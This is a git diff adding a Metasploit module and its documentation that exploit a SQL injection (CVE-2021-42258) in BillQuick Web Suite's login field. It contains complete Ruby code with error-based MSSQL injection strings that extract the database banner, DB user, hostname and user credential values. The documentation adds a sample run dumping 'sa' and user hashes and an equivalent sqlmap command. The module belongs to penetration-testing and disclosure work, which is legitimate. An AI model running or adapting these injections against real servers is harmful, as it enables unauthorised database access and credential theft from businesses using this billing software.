diff --git a/documentation/modules/auxiliary/gather/billquick_txtid_sqli.md b/documentation/modules/auxiliary/gather/billquick_txtid_sqli.md new file mode 100644 index 0000000000..f755e25775 --- /dev/null +++ b/documentation/modules/auxiliary/gather/billquick_txtid_sqli.md @@ -0,0 +1,133 @@ +## Vulnerable Application + +This module exploits a SQL injection vulnerability in BillQUick Web +Suite prior to version 22.0.9.1. The application is .net based, and +the database is required to be MSSQL. Luckily the website gives +error based SQLi messages, so it is trivial to pull data from the +database. However the webapp uses an unknown password security +algorithm. This vulnerability does not seem to support stacked +queries. This module pulls the database name, 111.111.1.111, user, +hostname, and the SecurityTable (user table). + +### Install + +This install can be rather complicated and take about 2hrs to install. + +1. Download [ws2020](https://billquick.net/download/WS2020/WS2020Setup.zip) +1. Download [Bill Quick 2020](https://billquick.net/download/Billquick2020/BillQuick2020Setup.zip) +1. Install billquick 2020 +1. reboot +1. Install IIS per WS2020 instructions (non-default options in ws2020 install docs) +1. Install .NET Framework 3.5 (for sql server 2008, powershell: `Install-WindowsFeature Net-Framework-Core`) +1. Install MSSQL Server 2008 +1. Install ws2020 (.NET 4.5 is bundled, may need a reboot) +1. Open BillQuick V21 (on desktop). Configure it to a new database +1. visit http:///ws2020 and finish the install/config + +Even at this point, 2 people with these instructions and one independently were unable to login to +the webapp. It can be SQLi, but no one was able to use it successfully. + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/gather/billquick_txtid_sqli` +1. Do: `set rhosts [ip]` +1. Do: `run` +1. You should get info about the system and app. + +## Options + +### HttpClientTimeout + +As noted in the original discovery writeup, and verified during exploitation, the DB is very slow. A high timeout should be set. Defaults to `15` + +## Scenarios + +### BillQuick Web Suite 21.0.11 with BillQuick 2020 on Windows 2012 r2 with MSSQL 2008 + +``` +[*] Processing billquick.rb for ERB directives. +resource (billquick.rb)> use auxiliary/gather/billquick_txtid_sqli +resource (billquick.rb)> set rhosts 111.111.1.111 +rhosts => 111.111.1.111 +resource (billquick.rb)> set verbose true +verbose => true +resource (billquick.rb)> check +[*] 111.111.1.111:80 - The target appears to be vulnerable. Version Detected: 21.0.11 +resource (billquick.rb)> exploit +[*] Running module against 111.111.1.111 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version Detected: 21.0.11 +[*] Getting Variables +[*] VIEWSTATE: /wEPDwULLTE4MzE3MTAzMjcPZBYEAgMPDxYCHgRUZXh0BRJWZXJzaW9uOiAyMS4wLjExLjFkZAIFD2QWBgIDD2QWBgIDDw9kFgIeBGhyZWYFKWphdmFzY3JpcHQ6RGlzcGxheUhlbHAoJy9sb2dpbi5odG0nLHRydWUpZAIFDw8WAh8AZWRkAgsPD2QWAh8BBboCamF2YXNjcmlwdDpPcGVuQ3VzdG9taXplZFBhZ2UoJ2h0dHA6Ly8xOTIuMTY4LjIuMTk3OjgwL3dzMjAyMC9BZG1pbi9mcm1TdGFydHVwT3B0aW9ucy5hc3B4P1JldHVyblVSTD1odHRwOi8vMTkyLjE2OC4yLjE5Nzo4MC93czIwMjAvZGVmYXVsdC5hc3B4JlJldHVyblBhdGg9QzovUHJvZ3JhbSBGaWxlcyAoeDg2KS9CaWxsUXVpY2sgV2ViIFN1aXRlL1dlYiBTdWl0ZSAyMDIwL3B1YmxpYycsJ09wdGlvbnMnLCdzdGF0dXM9MSx0b3A9MjAsbGVmdD03MCx0b29sYmFyPTAsd2lkdGg9OTYwLGhlaWdodD04NTAsc2Nyb2xsYmFycz0xLHJlc2l6YWJsZT0xJylkAgcPDxYCHgdWaXNpYmxlaGQWBAIBDxAPFgIfAmhkZGRkAgMPDxYCHwJoZGQCCQ9kFgICAw8PZBYCHgdvbmNsaWNrBYQBSmF2YVNjcmlwdDp2YXIgTnduZD0gd2luZG93Lm9wZW4oJ2h0dHA6Ly93d3cuYnFlLmNvbS9SZWFkeVRvQnV5LmFzcCcsJ0JpbGxRdWljaycsJ3N0YXR1cz0xLHJlc2l6YWJsZT0xJyk7IE53bmQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7ZGStCLctJcrVYJp1DAA1gC3rEarKhZr4l+UhXjrUi4Di4g== +[*] VIEWSTATEGENERATOR: 35DBDDBD +[*] EVENTVALIDATION: /wEdAAdXT9yBxJ2SJPiixQkGOgS3iDzhgTayErTY5zy3eV0+KFncozjiY2uerT4fyhfyLsuRO4wbr9XDALim0BHyPei6XNiiK4rX19Q4jotFU35tutB+E+wdjwdLhtRmnvNWW5XjXQFozpEkqmpvVssmq69gY0kE5exFACTMA+fC7OwSIZ2agMpDV5u2LIZn3ODypK4= +[+] Current Database: test +[+] 111.111.1.111: Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) + Jul 9 2008 14:17:44 + Copyright (c) 1988-2008 Microsoft Corporation + Developer Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM) + +[+] DB User: sa +[+] Hostname: WIN-EDKFSE5QPAB +[+] User Count in test.dbo.SecurityTable: 2 +[+] Username: 111 +[+] User 111 settings: D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0| +[+] Username: fl +[+] User fl settings: 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0| +[+] test.dbo.SecurityTable +====================== + + EmployeeID Settings + ---------- -------- + 111 D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0| + fl 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0| + +[*] Default password is the username. +[*] Auxiliary module execution completed +resource (billquick.rb)> hosts + +Hosts +===== + +address mac name os_name os_flavor os_sp purpose info comments +------- --- ---- ------- --------- ----- ------- ---- -------- +111.111.1.111 WIN-EDKFSE5QPAB Windows device Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) Jul 9 2008 14:17:44 Copyright (c) 1988-2008 Microsoft Cor + porationDeveloper Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM) + +resource (billquick.rb)> services +Services +======== + +host port proto name state info +---- ---- ----- ---- ----- ---- +111.111.1.111 80 tcp BillQuick Web Suite open + +resource (billquick.rb)> creds +Credentials +=========== + +host origin service public private realm private_type JtR Format +---- ------ ------- ------ ------- ----- ------------ ---------- +111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) sa Blank password +111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) 111 D848281C Nonreplayable hash +111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) fl 45E97 Nonreplayable hash + +resource (billquick.rb)> notes + +Notes +===== + + Time Host Service Port Protocol Type Data + ---- ---- ------- ---- -------- ---- ---- + 2021-11-06 10:26:28 UTC 111.111.1.111 BillQuick Web Suite 80 tcp database "test" +``` + +## SQLMap Equivalent + +You'll need a valid `VIEWSTATE`, `VIEWSTATEGENERATOR`, `EVENTVALIDATION`. + +``` +sqlmap -u "http://[IP]/ws2020/default.aspx" -f txtID --data="__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE=[VIEWSTATE]&__VIEWSTATEGENERATOR=[GENERATOR]&__EVENTVALIDATION=[VALIDATION]&txtID=a&txtPW=a&hdnClientDPI=96" --dbms MSSQL --time-sec 15 --batch +``` diff --git a/modules/auxiliary/gather/billquick_txtid_sqli.rb b/modules/auxiliary/gather/billquick_txtid_sqli.rb new file mode 100644 index 0000000000..b6dc437456 --- /dev/null +++ b/modules/auxiliary/gather/billquick_txtid_sqli.rb @@ -0,0 +1,227 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'BillQuick Web Suite txtID SQLi', + 'Description' => %q{ + This module exploits a SQL injection vulnerability in BillQUick Web Suite prior to version 22.0.9.1. + The application is .net based, and the database is required to be MSSQL. Luckily the website gives + error based SQLi messages, so it is trivial to pull data from the database. However the webapp + uses an unknown password security algorithm. This vulnerability does not seem to support stacked + queries. + This module pulls the database name, banner, user, hostname, and the SecurityTable (user table). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Caleb Stewart ' # original PoC, analysis + ], + 'References' => [ + ['URL', 'https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware'], + ['URL', 'http://billquick.net/download/Support_Download/BQWS2021Upgrade/WebSuite2021LogFile_9_1.pdf'], + ['CVE', '2021-42258'] + ], + 'DefaultOptions' => { + 'HttpClientTimeout' => 15 # The server tends to be super slow, so allow 15sec per request + }, + 'DisclosureDate' => '2021-10-22', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The URI of BillQuick Web Suite', '/ws2020/']) + ], self.class + ) + end + + def check + begin + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'default.aspx'), + 'method' => 'GET' + }, datastore['HttpClientTimeout']) + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + + %r{Version: (?\d{1,2}\.\d{1,2}\.\d{1,2})\.\d{1,2}} =~ res.body + + if version && Rex::Version.new(version) <= Rex::Version.new('22.0.9.1') + return Exploit::CheckCode::Appears("Version Detected: #{version}") + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to the web service") + end + Exploit::CheckCode::Safe("Unexploitable Version: #{version}") + end + + def rand_chars(len = 6) + Rex::Text.rand_text_alpha(len) + end + + def char_list(string) + ('char(' + string.split('').map(&:ord).join(')+char(') + ')').to_s + end + + def error_info(body) + /BQEShowModalAlert\('Information','(?[^']+)/ =~ body + error + end + + def inject(content, state, generator, validation) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'default.aspx'), + 'method' => 'POST', + 'vars_post' => { + '__VIEWSTATE' => state, + '__VIEWSTATEGENERATOR' => generator, + '__EVENTVALIDATION' => validation, + '__EVENTTARGET' => 'cmdOK', + '__EVENTARGUMENT' => '', + 'txtID' => content, + 'txtPW' => '', + 'hdnClientDPI' => '96' + } + }, datastore['HttpClientTimeout']) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + res.body + end + + def run + vprint_status('Getting Variables') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'default.aspx'), + 'method' => 'GET' + }, datastore['HttpClientTimeout']) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + + /id="__VIEWSTATE" value="(?[^"]+)/ =~ res.body + /id="__VIEWSTATEGENERATOR" value="(?[^"]+)/ =~ res.body + /id="__EVENTVALIDATION" value="(?[^"]+)/ =~ res.body + unless viewstate && viewstategenerator && eventvalidation + fail_with(Failure::UnexpectedReply, 'Unable to find viewstate, viewstategenerator, and eventvalidation values.') + end + vprint_status("VIEWSTATE: #{viewstate}") + vprint_status("VIEWSTATEGENERATOR: #{viewstategenerator}") + vprint_status("EVENTVALIDATION: #{eventvalidation}") + + header = rand_chars + footer = rand_chars + header_char = char_list(header) + footer_char = char_list(footer) + int = Rex::Text.rand_text_numeric(4) + + service = { + address: rhost, + port: datastore['RPORT'], + protocol: 'tcp', + service_name: 'BillQuick Web Suite', + workspace_id: myworkspace_id + } + report_service(service) + + # all inject strings taken from sqlmap runs, using error page method + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND CHARINDEX(CHAR(49)+CHAR(53)+CHAR(46)+CHAR(48)+CHAR(46),@@VERSION)>0)+'", viewstate, viewstategenerator, eventvalidation) + /, table \\u0027(?.+?)\\u0027/ =~ error_info(res) + print_good("Current Database: #{table.split('.').first}") + report_note(host: rhost, port: rport, type: 'database', data: table.split('.').first) + + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 1325 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + banner.slice!(header) + banner.slice!(footer) + banner = banner.gsub('\n', "\n").gsub('\t', "\t") + print_good("Banner: #{banner}") + + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8603 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + user.slice!(header) + user.slice!(footer) + print_good("DB User: #{user}") + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: user, + private_type: :nonreplayable_hash, + private_data: '' + }.merge(service) + create_credential(credential_data) + + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7555 IN (SELECT (#{header_char}+(SUBSTRING((ISNULL(CAST(@@SERVERNAME AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + hostname.slice!(header) + hostname.slice!(footer) + print_good("Hostname: #{hostname}") + + report_host(host: rhost, name: hostname, info: banner.gsub('\n', "\n").gsub('\n', "\n"), os_name: OperatingSystems::WINDOWS) + + sec_table = "#{table.split('.')[0...-1].join('.')}.SecurityTable" + + # get user count from SecurityTable + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8815 IN (SELECT (#{header_char}+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + user_count.slice!(header) + user_count.slice!(footer) + print_good("User Count in #{sec_table}: #{user_count}") + + table = Rex::Text::Table.new( + 'Header' => sec_table, + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => + [ + 'EmployeeID', + 'Settings', + ] + ) + + (1..user_count.to_i).each do |index| + # username + # select EmployeeID from test.dbo.SecurityTable where ModuleID=0 + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 2292 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + username.slice!(header) + username.slice!(footer) + print_good("Username: #{username}") + + # settings + # select Settings from test.dbo.SecurityTable where ModuleID=0 + res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7411 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(Settings AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) + /\\u0027(?.+?)\\u0027/ =~ error_info(res) + settings.slice!(header) + settings.slice!(footer) + print_good("User #{username} settings: #{settings}") + table << [username, settings] + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: username, + private_type: :nonreplayable_hash, # prob encrypted not hash, so lies. + private_data: settings.split('|').first + }.merge(service) + create_credential(credential_data) + end + print_good(table.to_s) + print_status('Default password is the username.') + end +end